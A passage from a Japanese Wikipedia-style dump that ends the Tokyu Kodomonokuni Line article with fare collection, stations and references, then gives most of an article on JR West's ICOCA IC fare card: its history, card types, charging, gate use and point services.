東急他路線の駅との運賃は合算となるが、田園都市線[[青葉台駅]]・[[田奈駅]]・[[つくし野駅]]・[[すずかけ台駅]]の各駅との間は[[乗継割引]]があり、合算額から20円(小児10円)引きとなる。ICカードで乗継割引の適用を受けるには、[[恩田駅]]もしくは[[こどもの国駅 (神奈川県)|こどもの国駅]]と、田園都市線長津田駅の改札機通過時刻の差が60分以内である必要がある。
=== 運賃収受方式 ===
実質全駅無人駅であるが、車内収受は行わない。恩田駅・こどもの国駅には自動券売機・自動改札機・自動精算機が設置されている。長津田駅の本路線乗り場は田園都市線改札外に位置している上、改札口が設けられていない。
*長津田駅にて田園都市線から乗り換える場合
*:本路線に有効な乗車券であれば改札外に出場できる
*長津田駅から乗車する場合
*:駅舎内(2階)の券売機で乗車券を購入するか、下車駅精算(恩田駅・こどもの国駅の精算機で支払う)となる。
*長津田駅で下車する場合
*:「きっぷ回収箱」への旅客自ら乗車券を投入する
特殊な例では、2009年3月20日 - 22日に運転された田園都市線[[梶が谷駅]]からの臨時直通列車の乗車には、東急線全線(こどもの国線をふくむ)が1日乗り放題となる「こどもの国入園券セットきっぷ」および同きっぷ購入時に先着配布された臨時列車乗車整理券が必要であった<ref>{{PDFlink|[https://web.archive.org/web/20210126074218/https://www.tokyu.co.jp/file/090213-1.pdf <東急電鉄>TOKYU NEWS 2009/2/13 「こどもの国線」「こどもの国」共同企画3月20日(金・祝) - 22日(日)、臨時列車「それいけ!!こどもの国GO!」を運行]}} - 東京急行電鉄、2009年2月21日(インターネットアーカイブ・2021年1月26日時点の版)</ref>。
また、「横濱中華街 旅グルメきっぷ」、「東急線・東急バス一日乗り放題パス」、「東急線ワンデーパス」は当路線も乗車可能だが、これらの乗車券(「おトクなきっぷ」)は恩田駅・こどもの国駅では発売していないため、田園都市線長津田駅の窓口でこどもの国線乗車に用いた乗車券・ICカードを提示することで「おトクなきっぷ」を差額で購入できる<ref>[https://www.tokyu.co.jp/railway/ticket/types/value_ticket/howto.html 世田谷線・こどもの国線からおトクなきっぷをお求めのお客さまへ 東急電鉄]</ref>。
== 駅一覧 ==
{{座標一覧}}
* 全駅[[神奈川県]][[横浜市]]内に所在。
* [[駅ナンバリング|駅番号]]は、[[2012年]]2月上旬から順次導入された<ref>[http://www.tokyu.co.jp/contents_index/guide/news/120126-1.html 東急線全駅で駅ナンバリングを導入します] {{webarchive|url=https://web.archive.org/web/20121119182520/http://www.tokyu.co.jp/contents_index/guide/news/120126-1.html |date=2012年11月19日 }} - 東京急行電鉄、2012年1月26日、2012年1月26日閲覧。</ref>。
* 駅係員による集改札は通常行われない。
** 恩田駅、こどもの国駅:終日[[駅員無配置]](無人駅)であるが、自動券売機・自動精算機・自動改札機・[[筆談]]用[[ファクシミリ]]機などが設置され、長津田駅から遠隔操作を行っている。
** 長津田駅:本路線乗り場には改札口がなく(他路線の改札外)、着駅精算方式となっている。田園都市線乗り場の券売機では本路線の乗車券も発売している。
{{-}}<!-- ←座標一覧を展開した時に、画面・ウインドウサイズによっては表がつぶれるのを防止するため-->
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!style="width:4em; border-bottom: solid 3px #0068b7;"|駅番号
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|[[長津田駅]]
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|[[東急電鉄]]:[[ファイル:Tokyu DT line symbol.svg|18px|DT]] [[東急田園都市線|田園都市線]] (DT22)<br />[[東日本旅客鉄道]]:[[ファイル:JR JH line symbol.svg|18px|JH]] [[横浜線]] (JH 21)
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|}
== 脚注 ==
=== 注釈 ===
{{Reflist|group="注釈"}}
=== 出典 ===
{{Reflist}}
== 関連項目 ==
* [[こどもの国 (横浜市)]]
* [[横浜高速鉄道みなとみらい線]]
* [[西武山口線]] - 遊戯施設「おとぎ列車」を鉄道路線に変更
* [[東京都懸垂電車上野懸垂線]] - 動物園の営業時間内のみ運行していた
* [[ドリーム開発ドリームランド線]]
* [[小田急向ヶ丘遊園モノレール線]]
* [[上下分離方式]]
* [[日本の鉄道路線一覧]]
== 外部リンク ==
{{Commonscat|Kodomonokuni Line}}
* [https://www.tokyu.co.jp/railway/data/train_line/kd.html こどもの国線 路線情報] - 東急電鉄
* [https://www.tokyu.co.jp/railway/station/kd.html こどもの国線 各駅情報] - 東急電鉄
{{東急電鉄の路線}}
{{DEFAULTSORT:ことものくにせん}}
[[Category:関東地方の鉄道路線]]
[[Category:東急電鉄の鉄道路線]]
[[Category:横浜高速鉄道|路ことものくに]]
[[Category:神奈川県の交通]]
[[Category:多摩田園都市]] | 2003-04-17T05:08:02Z | 2023-12-04T06:17:18Z | false | false | false | [
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6,852 | ICOCA |
ICOCA(イコカ)は、西日本旅客鉄道(JR西日本)が発行し、JR西日本およびその他取扱事業者で発売されるサイバネ規格のICカード乗車券である。
ソニーの非接触型ICカードFeliCaの技術を用いた乗車カードで、プリペイド方式の乗車券の機能をはじめ、定期券、駅売店等での支払いに使えるICOCA電子マネーの機能を併せ持つカードである。カードで利用できる金額は、駅などに設置されたチャージ機などでチャージ(入金)することにより追加ができ、使い捨てることなく繰り返してカードを使用できる。
2001年5月15日の社長定例会見において、定期券や磁気式ストアードフェアカードであるJスルーカードを2003年をめどにIC化を検討することを発表し、2002年12月18日の社長定例会見において、正式名称をICOCA(イコカ)とすることを発表した。2003年6月27日付けで商標登録(第4685722号)がなされている。
カードの名称は、ICオペレーティングカード (IC Operating CArd) の略称であるが、関西方言の「行こか」(「行こうか」の意味)にも掛けている。また、カードの裏面の右下に記載の番号は「JW」で始まる17桁の英数字であるが、この「JW」はJR西日本の英語表記「JR West」の頭文字を採ったものである。
2003年11月1日からJR西日本のアーバンネットワーク(京阪神地区)の駅で運用が開始された。全国の主要な交通系ICカードの中では2001年に開始したJR東日本のSuicaに次ぐ導入であった。その後はJR西日本エリア内の中国地方や北陸地方にもエリアを拡大し、2013年には交通系ICカード全国相互利用サービスが開始された。またエリアの拡大によって2018年9月15日にICOCAの自社内エリアがつながった。JR西日本の各駅では、ICOCAの自動改札機での利用率も半数を超えている事から、ICOCA専用改札機が大阪駅御堂筋口で初設置され、その後も京橋駅や天王寺駅をはじめ、関西の多くの駅に設置されている。
JR西日本でのICOCAの発行枚数は、サービス開始の2003年11月から5か月余りで100万枚を突破した。その後、2014年11月には累計発行枚数が1,000万枚を突破、2019年3月には累計発行枚数が2,000万枚、2021年10月時点で2,500万枚、2023年6月末時点で2,900万枚に達している。交通系ICカードの中では約8700万枚発行のSuica、約4000万枚のPASMOに次ぐ発行枚数を誇る。JR四国や、PiTaPa発行事業者である関西私鉄やOsaka Metro等にも導入されている。JRが他社の交通系ICカードを導入している唯一の事例である。
2023年にはスマートフォン向けの「モバイルICOCA」のサービスを開始した。モバイル端末向けの交通系ICカードサービスは、モバイルSuica、モバイルPASMOに次ぐ3例目である。
ICOCAを使用した電子マネーサービス「ICOCA電子マネー」については、2005年10月1日から開始し、京阪神(関西エリア)や岡山・広島エリアの駅、福岡エリアの一部の駅(山陽新幹線の博多駅、小倉駅)のコンビニエンスストア「ハートイン」と「デイリーイン」の各店のほか、関西・中国地区のイオングループやビックカメラ、ヨドバシカメラ、すかいらーくグループ各店(四国エリアを含む)など、またファミリーマート(関西エリア、岡山・広島エリア、北陸エリアの全店)やローソン、ミニストップ、セブン-イレブン(3社とも、北陸・山陰を含むJR西日本エリア、およびJR四国エリアに導入)などのコンビニエンスストア等、利用可能な店舗は順次拡大中である。加えて、ICOCAに対応した自動販売機やコインロッカーもある。2008年3月18日からは、Suicaショッピングサービス(現・Suica電子マネー)と相互利用を行っているほか、2010年3月13日より、JR東海の「TOICA電子マネー」と、さらに2011年3月5日からは、JR九州の「SUGOCA電子マネー」と相互利用を開始した。そして2013年3月23日からの「全国相互利用サービス」の開始により、Kitaca(JR北海道)・PASMO(関東民鉄)・manaca(名鉄他)・nimoca(西鉄他)・はやかけん(福岡市交通局)の各電子マネーサービスとも相互利用を行っている。ただし、PiTaPaショッピングサービスとの相互利用は、PiTaPaが他の交通系ICカードと適用される法令が異なりクレジットカード扱いとなるため、2013年3月23日以降も行われておらず、PiTaPaショッピングサービス加盟店においては、ICOCA(「全国相互利用サービス」対応の各カードとも)を電子マネーとして利用することはできない。
2014年7月22日からWii U、12月9日からNewニンテンドー3DS・Newニンテンドー3DS LLの支払い決済に、ICOCAを含めた交通系電子マネーを利用できるようになった。このサービスは2022年1月18日9時をもって終了した。
JR西日本1社のみの発行体制を維持しつつ、取扱事業者は増加傾向にあり、北陸地方から四国地方までの西日本の26社局が取扱事業者としてカードの発売を行っている(2021年8月21日現在)。
2009年11月、JR西日本と関西の私鉄各社を中心にポストペイ型(後払い式)IC乗車カード「PiTaPa」を発行するスルッとKANSAI協議会との間で、「ICカード乗車券を活用した連携実現に向けた合意書」を締結。同年12月15日には「ICカード乗車券を活用した新たな連携サービスについて」として、プリペイド方式のICOCAとポストペイ方式のPiTaPaとの棲み分けを行うことにより、両者間で幅広い連携サービスをはかることを発表した。この合意を受けて、2011年6月に京阪電気鉄道(京阪電鉄)でICOCA(ICOCA定期券含む)の販売を開始し、続いて2012年12月には近畿日本鉄道(近鉄)でICOCA(ICOCA定期券含む)の販売を開始。
さらに2017年3月31日、スルッとKANSAI協議会が磁気式プリペイドカードの販売終了を見据えて、「ICカード乗車券(ICOCAとPiTaPa)を活用した連携サービスの拡大について」として大阪市交通局(地下鉄・ニュートラム、現大阪市高速電気軌道)・南海電気鉄道・泉北高速鉄道と京都市交通局(地下鉄・バス)・山陽電気鉄道・神戸電鉄・大阪高速鉄道・神戸新交通・北神急行電鉄・京阪電気鉄道(大津線)と神戸市交通局(地下鉄・バス)・山陽バスでも順次ICOCAの販売(山陽バスを除く)および定期券機能の導入(神戸新交通は除く)が開始された。一方、スルッとKANSAI協議会加盟各社のうち、阪急阪神ホールディングス(阪急阪神東宝グループ)傘下の鉄道事業者4社(阪急電鉄・阪神電気鉄道・能勢電鉄・北大阪急行電鉄)はスルッとKANSAI対応カードの発売終了後も「磁気カードを支持する利用客が多かった」(阪急阪神HDの杉山健博社長談)との理由から、4社間で磁気式共通プリペイドカード「阪急 阪神 能勢 北急レールウェイカード」を発行しICOCAの販売を見送る一方、2017年春より阪急・北急との間でも PiTaPa による連絡定期券の発売を行った。その後、2019年3月1日より4社でもICOCAの販売を開始し、「レールウェイカード」を含めた磁気式プリペイドカードの取り扱いを終了している(詳細後述)。こうした動きに加え、2018年10月1日からアーバンネットワーク(京阪神地区)の一部ICOCAエリアでPiTaPaのポストペイサービスを開始しており、両者エリア間のシームレス化によって「プリペイドはICOCA、ポストペイはPiTaPa」という棲み分けの加速がすすんでいるものの、PiTaPaはポストペイという制度上与信審査が必要なことから2021年時点で発行枚数約2500万枚のICOCAが会員数約330万人のPiTaPaを大幅に上回っている。
なお、先行導入した近鉄は独自のポイントカード「KIPS」にICOCAを搭載した「KIPS ICOCA」をJR西日本と共同発行していた。また、京阪バスグループ4社(京阪バス・京阪京都交通・京都京阪バス・江若交通)では、ICOCAでバスを利用する度にバスポイントがたまる制度を2017年4月1日より開始した。さらに、神戸新交通では同社においてICOCAを利用する度にチャージ額を一部還元するサービス(引き換えに同社における回数券カードの発売を終了)を2020年4月1日より実施している。そのほか、京阪電気鉄道においても同社の京阪線でICOCAを利用する度にポイントを還元する制度を2020年12月1日より開始(引き換えに同社における回数券の発売を終了)する予定である。また、2021年春からは大阪メトロのポイントサービス(Osaka Point)の対象がICOCAにも拡大した。また、神戸市営バス及び山陽バス(2021年4月1日より)では独自のポイントサービスが、近江鉄道バスではICOCAポイントサービスの導入が、阪神電気鉄道ではICOCAを対象とした独自のポイントサービス(引き換えに同社における回数券カードの発売を終了)の導入をそれぞれ決定している。
2012年からは、四国旅客鉄道(JR四国)でもJR西日本と相互直通運転を行っている快速「マリンライナー」(岡山駅 - 高松駅)の標準停車駅で一部利用を開始した。システム導入はJR西日本が主導した。2014年からはJR四国でもICOCAを発売することになった(発行ではない)。導入当初は乗車のみ可能であり、JR四国では発売はおろかチャージすら扱っていなかった。後述のとおり、現在も取扱いに一部制限がある。JRが自前のシステムではなく、他社のICカードシステムを導入する唯一の例である。
2015年3月21日より北陸本線から北陸新幹線開業に伴って第三セクターに転換したあいの風とやま鉄道でも発売が開始され、3月26日より運用開始した。同じく元北陸本線のIRいしかわ鉄道でもICカード乗車券を新規に導入し、2017年4月15日よりICOCAのサービスを開始した。両社ともJR西日本が支援を行っている。
その後も、主に西日本各府県にある鉄道・バス会社において、JR西日本が支援を行うことでICOCAが導入されている。
イメージキャラクターはカモノハシをモチーフにした「カモノハシのイコちゃん」。「ICOCAでいこか〜タッチしていこか〜」、ICOCA電子マネーサービスには「ICOCAで買おか〜タッチして買おか〜」というキャッチフレーズがあり、テレビCMやパンフレットなどで仲間とイコちゃんが呼び掛けている。
JR西日本のイメージキャラクターを務めていた仲間由紀恵と共に出演する機会も多い。ICOCAの広告は、京阪神・岡山・広島地区の駅のポスターおよび車両(321系や225系等)の液晶ディスプレイで放映されている。ICOCAとSuicaの相互利用開始時には、巨大化したイコちゃんが東京都内に出現し、仲間由紀恵が「東京で〜」イコちゃんが「ICOCA〜」と叫ぶテレビCMや広告が数か月間に亘って宣伝された。仲間の背景はセットで作られた東京駅という設定で、自動改札機もJR東日本で多く使われているタイプだったが、実際には大阪駅の中央改札口にそっくりであった。
2013年3月23日からの「全国相互利用サービス」開始にあわせて久々のテレビCMが放映され、立体アニメーションでのイコちゃんが登場した。
ICOCAのサービスエリアについては下記の利用可能エリアを参照。
2023年4月1日現在、JR西日本、近鉄以外にも33事業者がカードの発売を行う。これは日本の交通系ICカードの中ではPASMO(105事業者)に次いで多い。
特記なき限り、各カードはICOCAエリア内のJR西日本の各駅のみどりの窓口や、近鉄などの取扱事業者の各駅の窓口、並びにICOCAのマークがある各事業者の各駅にある一部の自動券売機で購入できる。
プリペイド方式の普通乗車券機能(ストアードフェア機能)と電子マネー機能がある無記名式のカード。発売額は1000円、2000円、3000円、5000円、10000円の5種類である。発売額には500円のデポジット(預り金)が含まれており、購入時点で最初に使える残高はデポジットを引いた金額となる。デポジットはカードが不要になった際に、各事業者の取り扱い窓口で返却をすると払い戻される。
SuicaやSUGOCA,Kitacaなどと異なり、記名式の通常版ICOCAは発売されていない。そのため紛失時の補償もない。(大人用カードの記名式を希望する場合は、スマートICOCA、ICOCA定期券のいずれかが必要) 小児は小児用ICカード(こどもICOCA)があるがあるため他のICカード同様、自動的に記名式となる。(後述)
小児運賃が適用される旅客に対して発売されるカード。記名式で、氏名・生年月日・性別の登録を発売時に行う。発売額は2000円のみ。
カードのデザインについては、JR西日本ではこどもICOCA専用デザインのカード(クリーム色の地色に「カモノハシのイコちゃん」が入ったもの)が発行されるが、近鉄・京阪では大人用のICOCAと同じデザインのカードの中央に、「丸に小」のマークを印字したものが発行される。なお、JR西日本発行分も2015年4月から大人用とデザインが統一されており、専用デザイン柄は在庫が無くなり次第発売終了となる。
購入時に使用者の年齢の確認できる身分証明書が必要となる(代理人による購入も可能)ため、自動券売機では購入不可。利用者本人が大人運賃を適用される年齢に達する年の年度末が有効期限とされている。
JR西日本において、ICOCAが導入された当初は大人用のみの設定で小児用のICOCAは発売しておらず、後に発行を開始した小児用ICOCA定期券は当初はストアードフェア機能は使用できなかったが、2004年8月から利用を開始した。JRグループで小児用IC乗車カードを発行したのはICOCAが初めてである。
ICOCAに定期乗車券を搭載したもの。ストアードフェア機能自体は通常のICOCAと同じ(ただし身体障害者割引等が適用されたICOCA定期券にはストアードフェア機能がない)で、ICOCAの前面に定期券情報が印字される(ただし四日市あすなろう鉄道およびバス事業者(京都市営バス・大阪シティバス・神戸市バス・山陽バスを除く)のICOCA定期券は券面に印字されないため、別紙で「ICOCA定期券内容控」が交付される。)。
既に所持している通常版のICOCA・こどもICOCAに後から定期券を搭載することが可能。カードの新規購入では定期運賃相当額にデポジットの500円を加えた額、通常版ICOCAからの変更では定期運賃相当額等のみが発売額となる。JR西日本のICOCAエリア内で完結する区間においては、連続した区間を二区間に分割して一枚のICOCA定期券にまとめることもできる。フレックス・フレックスパルを付加させることも可能。新幹線停車駅が2駅以上含まれる場合はICOCA定期券を新幹線で自由席特急券部分をチャージから引き去る事で利用することができる。なお、パスカルは付加することはできない。
ICOCAエリア内のJR西日本の各駅にあるみどりの窓口の他、みどりの券売機やピンク色の自動券売機、近鉄などの取扱事業者各駅にある一部の窓口や自動定期券販売機で発売されている。ただし他社線のみのICOCA定期券を他社で購入することは出来ない。JR四国線区間を含むICOCA定期券は一切発売しない。IRいしかわ鉄道(2017年4月15日発売開始)は一部の窓口でのみ発売し、自動券売機はすべて非対応である。またICOCAエリア内であってもICOCA定期券の設定が無い区間がある。逆に(狭義の)ICOCAエリアを含まず、ICOCA取扱事業者の利用可能エリアと他地域カードエリアの連絡定期券の設定もある(近鉄-JR東海、名鉄)。
通常のICOCA(大人用)には記名式のカードが存在しないため、ICOCA定期券の定期券機能のみを払い戻すと、無記名のカードとなる。
ICOCAの機能に加え、クレジットカードによる電子決済でチャージ(入金)ができる「クイックチャージサービス」、J-WESTカードの「J-WESTポイント」→「WESTERポイント」からのチャージ機能などが追加されたカード。利用するには、クレジットカードの登録が必要。
SMART ICOCA定期券はICOCAエリア内のJR西日本の各駅にあるみどりの窓口や券売機でのみ定期券機能を付加することができ、他社局の窓口での取り扱いや他社局内のみのSMART ICOCA定期券をJR西日本の窓口や券売機で購入することはできない。
JR西日本が発行するカード表面にイラストなどオリジナルの図柄を入れたデザインICOCAカードが下記のとおり存在している。原則として大人用のみの発売で、定期券の機能を付けることもできない(一部例外あり)。プリペイドでの利用は通常デザインのICOCAと何ら変わりはない。定期券にできるカードかどうかは、カード右下の切り欠きの数でも判別できる(1個:できる、2個:できない)。カードの折損などでの再発行やカードの機能向上などを行う都合による交換時は、通年販売の記念デザインカードのうちSHIKOKU ICOCA、Ainokaze ICOCAとIRいしかわ鉄道ICOCAを除き、ICOCA&はるかオリジナルデザインICOCAを含め、通常デザインのICOCAカードへ交換することになる。
これらのうち、「カープICOCA」(優勝記念バージョンが3時間で完売)や「タイガースICOCA」(発売初日に7時間待ちの行列が発生)は大きな人気を集め、販売時に話題となった。
2023年3月22日にサービスを開始した、スマートフォンで「ICOCA」の機能を利用できるサービス。スマートフォンアプリの操作により利用が可能で、代金はクレジットカードによる決済などとなる。
2023年3月22日より、Android OS搭載のスマートフォンでサービスを開始した。
2023年6月27日、実質的な「iOS版モバイルICOCA」となる「Apple PayのICOCA」が発表され、同日付でサービスが開始された
ICOCAの機能に加え、近鉄グループ各社の「KIPSポイントサービス」の特典が受けられるカード。2012年12月1日発行開始。近鉄主要駅の定期券取扱窓口で発行・取扱いを行っている。12歳以上限定(小学生は不可)で発売され、購入時に本人確認証明書類(運転免許証、個人番号カード等)が必要。
定期券機能の追加も可能で、ICOCAとしては唯一裏面に定期券情報を表示する。なお、近鉄以外の鉄道事業者では、定期券機能を追加できない。
近鉄線を利用した場合(現金で定期券を購入する場合を含む)、200円(税別)につき1ポイントが加算される。新規購入時には、2,000円(デポジット500円を含む)となる。
また、ショッピング時もポイントが付与される。なお、KIPS PiTaPaカードとはポイントの付与率・利用可能店舗が異なる場合がある。
KIPSクレジットカード会員に限り、KIPSポイントカード(現金払いポイント専用カード・2013年1月25日発行開始)を含むKIPSポイントのとりまとめが可能(KIPSネットサービスにて事前登録が必要)。
2023年1月31日をもってKIPS ICOCAカードの新規発行を終了した。なお、発行済みのKIPS ICOCAは継続使用できるほか、紛失・盗難・磁気不良時の再発行等には対応する。
2016年4月8日より発行されているICOCAをベースとした訪日外国人旅行者向け「関西統一交通パス」。関西経済連合会がJR西日本をはじめとする9社局や新関西国際空港などと協力して発行する。ICOCA機能に加え、関西国際空港内の41店舗を含む約90カ所の商業施設や観光スポットで利用できる優待特典が付帯する。
カードには関西ゆかりの手塚治虫原作の漫画「鉄腕アトム」のイラストが描かれており、関西広域の鉄道路線マップ付き利用ガイドが付属する。当初は3000円(デポジット500円含む)のカード(カードの色は桃色)を3万枚限定で販売。2017年4月17日より2000円(デポジット500円含む)のカード(カードの色は黄色)を枚数限定無しで販売開始したが、2019年4月16日より再び3000円カードとなり、2000円カードは売り切れ次第、発売終了となる。
発売箇所は関西空港駅および大阪・京都・神戸市内のJR西日本・阪急・阪神・京阪・近鉄・南海・地下鉄主要駅等。外国パスポートを有し、「短期滞在」に該当する在留資格を有する訪日外国人のみが購入可能で、購入時にはパスポートの提示が必要になる。
2021年2月1日より発行開始の「J-WESTゴールドカード」の会員限定で、WESTERポイント(旧:J-WESTポイント)の交換商品として発行する限定ICOCAである。定期券の搭載は不可。
駅の自動改札機やバスの乗降口、店舗のレジなどに設置されたカード読み取り機にICOCAをあてて(タッチして)カードを読み取らせることにより、あらかじめチャージされた金額から利用金額分を引き去って決済をするというのが基本的な使い方である。ICOCAは電波を使った無線通信によりデータの読み取りや書き込みができる非接触型のICカードであるので、パスケース等に入れたままでも利用でき、利用するごとにパスケース等から取り出したりする必要がないが、電波を吸収する性質がある硬貨などの金属類や、使用方法が類似する他用途の非接触型ICカード(ICチップを搭載した運転免許証やtaspo・楽天Edy ・nanaco・WAON・Speedpass・一部のゲームのマスコットなど)を一緒に入れていると、カードが正しく読み取れないことがある。
ICOCAのストアードフェア (SF) 機能を利用するには、精算前にあらかじめカードにチャージ(入金)がされている必要がある。チャージ金額の上限は20,000円である。チャージ方法は現金またはクレジットカード(SMART ICOCAのみ)に限られ、Jスルーカードやオレンジカード(JR西日本)、またはスルッとKANSAI対応カード(近鉄・京阪など)を用いてのチャージはできない。Suica、PASMOなどで実施しているオートチャージは、SMART ICOCAのクイックチャージ(クレジットカードによる決済)があることから行っていない。
チャージは基本的に駅構内に於いては以下の場所で行う。
なお、ICOCAエリア内の以下の駅では駅構内でチャージができない。
また、以前はJR西日本管内のみどりの窓口で現金に加えてクレジットカードでのチャージも取り扱っていたが、2008年6月30日限りでみどりの窓口でのチャージの取扱いを中止し、一方でSMART ICOCAを一般クレジットカードに開放した。併せてICOCA定期券以外のクレジットカードでの購入取扱いも中止した。
駅以外では、ICOCA電子マネーを導入しているイオングループ、ビックカメラグループ(いずれも一部を除く店舗)のICOCA電子マネー対応店舗と、エリア内の主要コンビニエンスストア(セブン-イレブン、ローソン、ファミリーマート、サークルKサンクス、ポプラなど)、ICOCA取り扱いのバス車内(近江鉄道バス、湖国バス、大阪バス、カナちゃんバス、くる梨、ごんごバス、おのみちバスを除く)、広島地区のPASPY取り扱いの電車・バス車内のほか、東日本地区のSuicaショッピングサービス、東海地区のTOICA電子マネー、九州地区のSUGOCA電子マネーなど、「全国相互利用サービス」対応の各IC乗車カード(PiTaPaを除く)での電子マネーサービスを導入しているコンビニエンスストア(NEWDAYS、ベルマート、ミニストップなど)でも、現金によるチャージを取り扱っている(コンビニエンスストアでは、一部取り扱わない店舗もある)。2018年10月15日よりセブン銀行ATMで、ICOCAなどの、交通系電子マネーの現金チャージや残高確認の取り扱いを開始した。
鉄道での利用の場合、乗車駅で自動改札機のカード読み取り部にICOCAをタッチする。この時、カードには乗車駅や時刻などの情報が記録される。ICOCAが正確に認証された場合は電子音とともにゲートが開き、正確に認証されない場合、またはカードが使用できない場合は電子音や音声が鳴って即座にゲートが閉まるようになっている。ICOCAの残額が不足していたり、ICOCA定期券およびこどもICOCAの有効期限が近付いたりしている場合は通常と異なる電子音が鳴る。また、こどもICOCAが使用された場合は鳥の鳴き声の音が鳴る。下車駅では、乗車時と同じように自動改札機のカード読み取り部にICOCAをタッチする。この時、乗車時に記録された情報を元に運賃が計算され、チャージ金額から運賃分が引き去られる。なお、Suicaと異なり、ICOCAエリアでは入場時に初乗り運賃の引き去りを行わないため、残高が初乗り運賃未満でも入場は可能である(ただし、残高0円の場合は入場できない)。
ICOCA定期券で定期区間の外を含む区間をICOCAで利用した場合は、降車時に定期外区間に相当する運賃が引き去られる。なお、定期区間を挟む利用を行った場合は「全区間の通し運賃」と「定期外区間の運賃の合算」のいずれか安い方で精算されることになっている。
出場時にチャージ額の不足があった場合には、導入当初はのりこし精算機にて不足額の現金精算を行い、別途出場証(磁気券)を受け取って出場証で改札を通過するか、チャージ機で不足額を上回るように1000円単位でチャージする必要があったが、2015年10月1日よりICOCAに不足額(10円単位で切り上げ)を現金チャージした上で、そのまま入場時のICOCAで出場改札を通過する仕組みに変更された(ただし姫路駅の播但線・姫新線乗り継ぎ精算機、加古川駅の加古川線乗り継ぎ精算機、鶴橋駅の近鉄乗り継ぎ精算機、新大阪駅の新幹線乗り継ぎ精算機は不足額チャージ不可。また、他の乗車券やオレンジカードで精算する場合は従来通り出場証が発行される)。
普通列車に車載型IC改札機を設置している路線(七尾線 津幡駅 - 七尾駅間・関西本線 亀山駅 - 加茂駅間・和歌山線・紀勢本線(きのくに線)・境線)では、乗車時に入口横の「乗車」用IC改札機にタッチし、降車時に運転台後ろまたは運賃箱の「降車」用IC改札機にタッチして下車する。七尾線・和歌山線・紀勢本線(きのくに線)では、車内運賃箱での現金チャージに対応する(前述)が、関西本線・境線では列車内でのチャージに対応していないため、残高不足の場合は乗務員が入場記録を取り消した上で現金精算する必要がある。なお、七尾線 七尾駅 - 和倉温泉駅間は普通列車がのと鉄道の列車のみであることから、普通列車ではICOCAでの利用に対応しない。
ICOCAのみを用いての新幹線の乗車はできないが、ICOCAエリア内の在来線から山陽新幹線・東海道新幹線(JR東海)・北陸新幹線へ乗り換える際に、新幹線乗換口の自動改札機でそれまで乗車した在来線運賃の精算ができる。最初に新幹線乗車券を挿入口に入れ、続いて在来線の乗車に使用したICOCAをカード読み取り部にタッチすると自動的に精算が完了し、改札機を通過できる。東海道・山陽新幹線の会員制ネット予約サービス「エクスプレス予約」のEX-ICサービスや東海道新幹線の会員制ネット予約サービス「プラスEX」で列車を予約している場合は、EX-ICカード(プラスEXカード)とICOCAを2枚重ねでカード読み取り部にタッチすると精算が完了し改札機を通過することができる。北陸新幹線との連絡改札で「モバイルSuica特急券」とICOCAを2枚重ねでカード読み取り部にタッチして通過することはできない。
2009年8月29日より、山陽新幹線全線にEX-ICサービスが導入されたことで、ICOCAエリア内にある山陽新幹線各駅の新幹線乗換口でも、ICOCAを用いての在来線から新幹線への乗り継ぎが可能になった。
2011年3月12日からは、JR九州在来線と接続する小倉駅・博多駅両駅の新幹線乗換口でもSUGOCAおよびSUGOCAと相互利用しているICOCAなどのカードでの精算、記録が可能となった。
JR西日本・近鉄と他社路線を共同利用駅を経由して連続乗車する場合(ICOCAエリア同士の乗り継ぎとなるJR西日本⇔近鉄の乗り継ぎを含む)、乗換口がある駅(乗換口に自動改札機がある駅)と乗換口がない駅で取扱いが異なる。
ICOCAは、最後の利用日から10年間利用がない場合でJR西日本が特に定めた場合は失効となり、チャージ金額およびデポジットの返却は行われない。
こどもICOCAの有効期限は、使用者が12歳となる年度の3月31日と定められており、期限を過ぎたカードはチャージ金額が残っていても使用できなくなる。この場合は、みどりの窓口にカードを返却するとチャージ金額、およびデポジットが手数料なしで払い戻される(10円未満は10円単位に切り上げ)。
こどもICOCA・SMART ICOCA・ICOCA定期券・こどもICOCA定期券・SMART ICOCA定期券・KIPS ICOCAカードは、カードを紛失した際でも、所有者本人であることが証明できる書類があれば再発行が可能である。また、SMART ICOCA・SMART ICOCA定期券では専用電話(紛失ダイヤル、24時間・年中無休)での本人確認と再発行も行われている。ただし、再発行には再発行手数料510円とデポジット500円の合計1,010円を、現金で(SMART ICOCA紛失ダイヤルでは、紐付けされたクレジットカードで)支払う必要がある。
これとは別に、手元にカードはあるものの、破損や障害等で使用できない場合(故意の破損や番号が判別できないものを除く)は、カード(上記以外の記名式でないICOCAを含む)を各発行会社の取扱窓口に持参すると、手数料・デポジット共に無料で再発行され、翌日から14日以内に受け取れる。紛失、破損・障害共に、チャージ金額は引き継がれる。
再発行および払い戻しは各発行会社で行う。ただし記名式でない大人用ICOCAやこどもICOCAはICOCA取扱事業者であればどの社局でも払い戻しのみ可能である(ただし、こどもICOCAはJR四国では払い戻しできない)。またICOCA定期券・こどもICOCA定期券は定期券の有効期限が切れた後も個人情報が会社ごとに残っているため、最後に定期券・こどもICOCAを購入した社局の窓口でのみ対応し、他社局に持ち込んでも取り扱ってもらえない。
事前の利用登録は不要。
JR西日本の許諾を受けて独自に運営されている割引サービス。山陰地方のバス2社(石見交通、イワミツアー)では、ICOCAによるSF乗車で割引サービスを実施している。事前の利用登録は不要。
ポイントサービスは2種類に大別できる。それぞれ事前の利用登録が必要。
この他、KIPS ICOCAでの近鉄線利用でKIPSポイントがたまる。
JR西日本並びに近江鉄道グループバス2者(近江鉄道、湖国バス)、中国地方のバス5者(日本交通 (鳥取県) 、日ノ丸自動車、松江市交通局、一畑バス、防長交通)では、ICOCAによるSF乗車でポイントがたまるサービスを実施している。事前の利用登録が必要。
2018年10月1日にJR西日本が京阪神地区で導入した「ICOCAポイント」を2023年3月7日にJ-WESTポイントと統合し、JR西日本グループ共通の「WESTERポイント」となる。
また、SMART ICOCA(J-WESTカード決済に限る)ではクイックチャージでポイントがたまる(2023年3月6日まではJ-WESTポイント)。
JR西日本の鉄道利用においては、他社で導入されているような「一定利用額以上に対して定率還元」ではなく「指定区間・同一区間での複数回利用に対して還元」される仕組みになっているが、これはサービスイン直前まで京阪神地区で発売されていた「昼間特割きっぷ」の代替となるサービスを含めているためであり、時間帯指定ポイントの指定区間も「昼間特割きっぷ」の発売区間とほぼ同一となっている。
近畿(三重県を除く)、北陸、中国、四国地方のICOCA加盟店におけるICOCA電子マネーの買い物利用でWESTERポイントが貯まるサービス。購入額200円に対して1ポイントが貯まる。
JR西日本の許諾を受けて独自に運営されているポイントサービス。それぞれサービスごとに事前の利用登録が必要。ただし、阪急阪神HDの鉄道4社(阪神、山陽、阪急、能勢電)はいずれか1社を利用登録すれば他3社にも適用される。
